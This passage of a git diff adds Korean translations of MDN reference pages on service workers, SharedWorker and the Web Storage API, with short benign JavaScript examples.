+slug: Web/API/ServiceWorkerGlobalScope/notificationclick_event
+translation_of: Web/API/ServiceWorkerGlobalScope/notificationclick_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>notificationclick</code> 이벤트는 <span style="line-height: 19.0909080505371px;">{{domxref("ServiceWorkerRegistration.showNotification()")}} 에 의해 발생한 시스템 notification 이 클릭되었음을 나타내기 위해 </span>발생된다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"></th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("NotificationEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler</th>
+   <td><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/onnotificationclick">onnotificationclick</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p><code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> 메소드 내에서 <code>notificationclick</code> 이벤트를 사용할 수 있다:</p>
+
+<pre class="brush: js">self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});
+</pre>
+
+<p>또는 <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/onnotificationclick">onnotificationclick</a></code> 이벤트 핸들러 속성을 사용할 수 있다:</p>
+
+<pre class="brush: js">self.onnotificationclick = function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope.notificationclick_event")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+ <li><a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html
new file mode 100644
index 0000000000..a6c3e50e96
--- /dev/null
+++ b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html
@@ -0,0 +1,71 @@
+---
+title: ServiceWorkerGlobalScope.skipWaiting()
+slug: Web/API/ServiceWorkerGlobalScope/skipWaiting
+translation_of: Web/API/ServiceWorkerGlobalScope/skipWaiting
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">{{domxref("ServiceWorkerGlobalScope")}} 의 <strong><code>ServiceWorkerGlobalScope.skipWaiting()</code></strong> 메소드는 waiting 상태의 서비스 워커를 active 상태의 서비스 워커로 변경하도록 강제한다.</span></p>
+
+<p>근본적인 서비스 워커에 대한 업데이트들이 현재의 클라이언트와 다른 모든 active 클라이언트들에게 즉시 적용되도록 하기 위해 {{domxref("Clients.claim()")}} 과 이 메소드를 사용한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">ServiceWorkerGlobalScope.skipWaiting().then(function() {
+  //Do something
+});</pre>
+
+<h3 id="Returns">Returns</h3>
+
+<p><code>undefined</code> 로 즉시 resolve 되는 {{jsxref("Promise")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<p>서비스 워커가 실행되는 동안 언제라도 <code>self.skipWaiting()</code> 는 호출될 수 있지만, 이것은 <code>waiting</code> 상태로 남아 있을 수도 있는 새롭게 설치된 서비스 워커가 있는 경우에만 영향을 줄 수 있다. 따라서, {{domxref("InstallEvent")}} 핸들러 내부에서 <code>self.skipWaiting()</code> 을 호출하는 것이 일반적이다.</p>
+
+<p>다음 예시는 active 상태의 서비스 워커가 이미 존재하는지의 여부에 관계없이, 새로 설치된 서비스 워커가  <code>activating</code> 상태로 진행되도록 한다.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(event) {
+  // skipWaiting()가 반환하는 promise는 안전하게 무시될 수 있다.
+  self.skipWaiting();
+
+  // 잠재적으로 event.waitUntil(); 내부에서
+  // 서비스 워커 설치를 위해 필요한 다른 action 들을 수행하라.
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-obj', 'ServiceWorker')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope.skipWaiting")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{domxref("Clients.claim()")}}</li>
+ <li>{{jsxref("Promise", "Promises")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerregistration/active/index.html b/files/ko/web/api/serviceworkerregistration/active/index.html
new file mode 100644
index 0000000000..cc492009a3
--- /dev/null
+++ b/files/ko/web/api/serviceworkerregistration/active/index.html
@@ -0,0 +1,59 @@
+---
+title: ServiceWorkerRegistration.active
+slug: Web/API/ServiceWorkerRegistration/active
+translation_of: Web/API/ServiceWorkerRegistration/active
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>{{domxref("ServiceWorkerRegistration")}} 인터페이스의 <strong><code>active</code></strong> 속성은 {{domxref("ServiceWorker.state")}} 가 <code style="font-style: normal;">activating</code> 또는 <code style="font-style: normal;">activated</code> 상태인 서비스 워커를 반환한다. 이 속성은 <code style="font-style: normal;">null</code> 로 초기 설정되어 있다.</p>
+
+<p>클라이언트들의 URL이 등록 scope 내에 있을 경우 active 워커는 {{domxref("ServiceWorkerClient")}} 를 제어한다. ({{domxref("ServiceWorkerContainer.register")}} 가 처음으로 호출될 때 그 <code>scope</code> 옵션은 정의된다.)</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 기능은 <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a> 에서 사용 가능하다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Syntax</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">sw = ServiceWorker.active
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>현재 <code>activating</code> 또는 <code>activated</code> 상태에 있다면, {{domxref("ServiceWorker")}} 객체.</p>
+
+<h2 id="Specifications" style="line-height: 30px; font-size: 2.14285714285714rem;">Specifications</h2>
+
+<div></div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Specification</span></font></th>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Status</span></font></th>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Comment</span></font></th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-active-attribute', 'ServiceWorkerRegistration.active')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.<br>
+     </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.active")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerregistration/index.html b/files/ko/web/api/serviceworkerregistration/index.html
new file mode 100644
index 0000000000..15606c9603
--- /dev/null
+++ b/files/ko/web/api/serviceworkerregistration/index.html
@@ -0,0 +1,150 @@
+---
+title: ServiceWorkerRegistration
+slug: Web/API/ServiceWorkerRegistration
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorkerRegistration
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerRegistration
+---
+<div>
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+</div>
+
+<p><span class="seoSummary">The <code>ServiceWorkerRegistration</code> interface of the <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> represents the service worker registration. You register a service worker to control one or more pages that share the same origin.</span></p>
+
+<p>The lifetime of a service worker registration is beyond that of the <code>ServiceWorkerRegistration</code> objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active <code>ServiceWorkerRegistration</code> objects.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This feature is available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Also implements properties from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}</dt>
+ <dd>Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.installing")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>installing</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.waiting")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>waiting</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.active")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is either <code>activating</code> or <code>activated</code>. This is initially set to <code>null</code>. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the <code>scope</code> option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}</dt>
+ <dd>Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.sync")}} <strong style="font-weight: bold; line-height: 19.0909080505371px;">{{non-standard_inline}} </strong>{{readonlyinline}} </dt>
+ <dd>Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.</dd>
+</dl>
+
+<h3 id="Unimplemented_properties">Unimplemented properties</h3>
+
+<dl>
+ <dt>{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes. This was mentioned as an idea in the SW explainer at some point, but as yet has not been implemented anywhere.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}</dt>
+ <dd>An <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener" title="This method is called whenever an event occurs of the type for which the EventListener interface was registered."><code>EventListener</code></a> property called whenever an event of type <code>updatefound</code> is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Also implements methods from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.getNotifications()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.showNotification()")}}</dt>
+ <dd>Displays the notification with the requested title.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.update()")}}</dt>
+ <dd>Checks the server for an updated version of the service worker without consulting caches.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.unregister()")}}</dt>
+ <dd>Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and <code>updatefound</code> event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the <code>updatefound</code> event will not be fired.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+    registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+      console.log('A new service worker is being installed:',
+        installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Adds the {{domxref("PushManager","pushManager")}} property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Sync')}}</td>
+   <td>{{Spec2('Background Sync')}}</td>
+   <td>Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerregistration/installing/index.html b/files/ko/web/api/serviceworkerregistration/installing/index.html
new file mode 100644
index 0000000000..29a45b8b81
--- /dev/null
+++ b/files/ko/web/api/serviceworkerregistration/installing/index.html
@@ -0,0 +1,54 @@
+---
+title: ServiceWorkerRegistration.installing
+slug: Web/API/ServiceWorkerRegistration/installing
+translation_of: Web/API/ServiceWorkerRegistration/installing
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>{{domxref("ServiceWorkerRegistration")}} 인터페이스의 <strong><code>installing</code></strong> 속성은 {{domxref("ServiceWorker.state")}} 가 <code style="font-style: normal;">installing</code> 인 서비스 워커를 반환한다. 이 속성은 <code style="font-style: normal;">null</code> 로 초기 설정되어 있다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 기능은 <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a> 에서 사용 가능하다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Syntax</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">sw = ServiceWorker.installing
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>현재 <code>installing</code> 상태에 있다면, {{domxref("ServiceWorker")}} 객체</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-installing-attribute', 'ServiceWorkerRegistration.installing')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.installing")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html
new file mode 100644
index 0000000000..610e80b8a8
--- /dev/null
+++ b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html
@@ -0,0 +1,39 @@
+---
+title: ServiceWorkerRegistration.navigationPreload
+slug: Web/API/ServiceWorkerRegistration/navigationPreload
+translation_of: Web/API/ServiceWorkerRegistration/navigationPreload
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>{{domxref("ServiceWorkerRegistration")}} 인터페이스의  <strong><code>navigationPreload</code></strong> 읽기 전용 속성은 현재의 서비스 워커 등록와 관련된 {{domxref("NavigationPreloadManager")}} 를 반환한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>navigationPreloadManager</em> = <em>serviceWorkerRegistration</em>.navigationPreload</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{domxref("NavigationPreloadManager")}} 의 객체.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers','#service-worker-registration-navigationpreload','navigationPreload')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.navigationPreload")}}</p>
diff --git a/files/ko/web/api/sharedworker/index.html b/files/ko/web/api/sharedworker/index.html
new file mode 100644
index 0000000000..f155b9f03a
--- /dev/null
+++ b/files/ko/web/api/sharedworker/index.html
@@ -0,0 +1,105 @@
+---
+title: SharedWorker
+slug: Web/API/SharedWorker
+translation_of: Web/API/SharedWorker
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p><code><strong>SharedWorker</strong></code><strong> </strong>인터페이스는 윈도우 창이나 iframe, 워커등의 다른 브라우징 컨텍스트에서도 접근이 가능한 특정 종류의 워커를 의미합니다. 기존의 다른 종류의 워커들과 다른 전역 스코프를 갖는 인터페이스를 구현합니다. {{domxref("SharedWorkerGlobalScope")}}.</p>
+
+<div class="note">
+<p><strong>참고 : </strong> SharedWorker 가 몇개의 다른 브라우징 컨텍스트에서 접근이 가능하면, 그 브라우징 컨텍스트들은 모두 정확히 같은 오리진을 공유해야 합니다. (같은 프로토콜, 호스트, 포트 등)</p>
+</div>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt>
+ <dd>특정 URL에서 스크립트를 실행하는 shared web worker를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>{{domxref("EventTarget")}}</em> 의 속성들을 상속 받습니다. 그리고 <em>{{domxref("AbstractWorker")}} </em>의 속성들을 구현할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>워커에서 {{domxref("ErrorEvent")}} 타입의 에러가 발생했을 때 호출되는는 {{domxref("EventListener")}}</dd>
+ <dt>{{domxref("SharedWorker.port")}} {{readonlyInline}}</dt>
+ <dd>shared worker를 제어하거나 통신하기 위해 사용되는 {{domxref("MessagePort")}} 객체를 반환</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>{{domxref("EventTarget")}}</em> 의 속성들을 상속 받습니다. 그리고 <em>{{domxref("AbstractWorker")}} </em>의 속성들을 구현할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>) 를 보시면 2개의 HTML 페이지가 있습니다. 각각 간단한 계산을 위해 자바스크립트를 사용합니다. 각기 다른 스크립트가 계산을 위해 같은 워커 파일을 사용합니다 — 두 개 페이지가 모두 다른 윈도우창에서 실행되더라도 같은 워커에 접근할 수 있습니다.</p>
+
+<p>아래 코드 스니펫은 {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}} 생성자를 이용해 <code>SharedWorker</code> 객체를 생성합니다. 두 스크립트 모두 아래를 포함합니다.</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker("worker.js");
+</pre>
+
+<p>두 스크립트는 {{domxref("SharedWorker.port")}} 속성으로 생성한 {{domxref("MessagePort")}} 객체를 통해 워커에 접근할 수 있습니다. <code>addEventListener</code> 를 이용하여 <code>onmessage</code> 가 추가되면, port는 <code>start()</code> 메서드를 이용하여 수동으로 시작할 수 있습니다.</p>
+
+<pre class="brush: js">myWorker.port.start();</pre>
+
+<p>포트가 시작되면, 양 스크립트는 워커에 메시지를 보내고 <code>port.postMessage()</code>와 <code>port.onmessage</code> 를 각각 이용하여 메시지를 처리합니다.</p>
+
+<pre class="brush: js">first.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  second.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  myWorker.port.onmessage = function(e) {
+    result1.textContent = e.data;
+    console.log('Message received from worker');
+  }</pre>
+
+<p>워커에서 {{domxref("SharedWorkerGlobalScope.onconnect")}} 핸들러를 이용하여 위에 언급된 포트에 접속할 수 있습니다. 워커에 연관되어 있는 포트는 {{event("connect")}} 이벤트 포트 속성에 접근할 수 있습니다 — 그리고나서 {{domxref("MessagePort")}} <code>start()</code> 메서드로 포트를 시작하고, onmessage 핸들러로 메인쓰레드에서 받은 메시지를 처리합니다.</p>
+
+<pre class="brush: js">onconnect = function(e) {
+    var port = e.ports[0];
+
+    port.addEventListener('message', function(e) {
+      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+      port.postMessage(workerResult);
+    });
+
+    port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.SharedWorker")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}</li>
+ <li><a class="internal" href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/storage/index.html b/files/ko/web/api/storage/index.html
new file mode 100644
index 0000000000..26ee7125ad
--- /dev/null
+++ b/files/ko/web/api/storage/index.html
@@ -0,0 +1,107 @@
+---
+title: Storage
+slug: Web/API/Storage
+tags:
+  - API
+  - Interface
+  - Reference
+  - Storage
+  - Web Storage
+translation_of: Web/API/Storage
+---
+<div>{{APIRef("Web Storage API")}}</div>
+
+<p><a href="/ko/docs/Web/API/Web_Storage_API">Web Storage API</a>의 <strong><code>Storage</code></strong> 인터페이스는 특정 도메인을 위한 세션 저장소 또는 로컬 저장소의 접근 경로로서 데이터를 추가하고 수정하거나 삭제할 수 있습니다.</p>
+
+<p>도메인의 세션 저장소를 수정해야 하면 {{domxref("Window.sessionStorage")}}에, 로컬 저장소를 수정해야 하면 {{domxref("Window.localStorage")}}에 접근하세요.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt>
+ <dd><code>Storage</code> 객체에 저장된 데이터 항목의 수를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("Storage.key()")}}</dt>
+ <dd>주어진 숫자 <code>n</code>에 대하여 저장소의 <code>n</code>번째 항목 키를 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Storage.getItem()")}}</dt>
+ <dd>주어진 키에 연결된 값을 반환합니다.</dd>
+ <dt>{{domxref("Storage.setItem()")}}</dt>
+ <dd>키가 저장소에 존재하는 경우 값을 재설정합니다. 존재하지 않으면 키와 값을 저장소에 추가합니다.</dd>
+ <dt>{{domxref("Storage.removeItem()")}}</dt>
+ <dd>주어진 키를 저장소에서 제거합니다.</dd>
+ <dt>{{domxref("Storage.clear()")}}</dt>
+ <dd>저장소의 모든 키를 저장소에서 제거합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 코드에서는 <code>localStorage</code>에 접근해 <code>Storage</code> 객체를 접근합니다. 우선 <code>!localStorage.getItem('bgcolor')</code>를 사용해 데이터가 저장소에 존재하는지 알아냅니다. 데이터가 있으면 {{domxref("Storage.getItem()")}}으로 회수한 후 <code>setStyles()</code>로 페이지 스타일을 바꿉니다. 데이터가 없으면 <code>populateStorage()</code> 함수를 호출하고, 그 안에서는 {{domxref("Storage.setItem()")}}을 통해 데이터를 설정합니다. 그 후에는 동일하게 <code>setStyles()</code>를 사용합니다.</p>
+
+<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 실제 작동 예제는 저희의 <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>에서 볼 수 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#storage', 'Storage')}}</td>
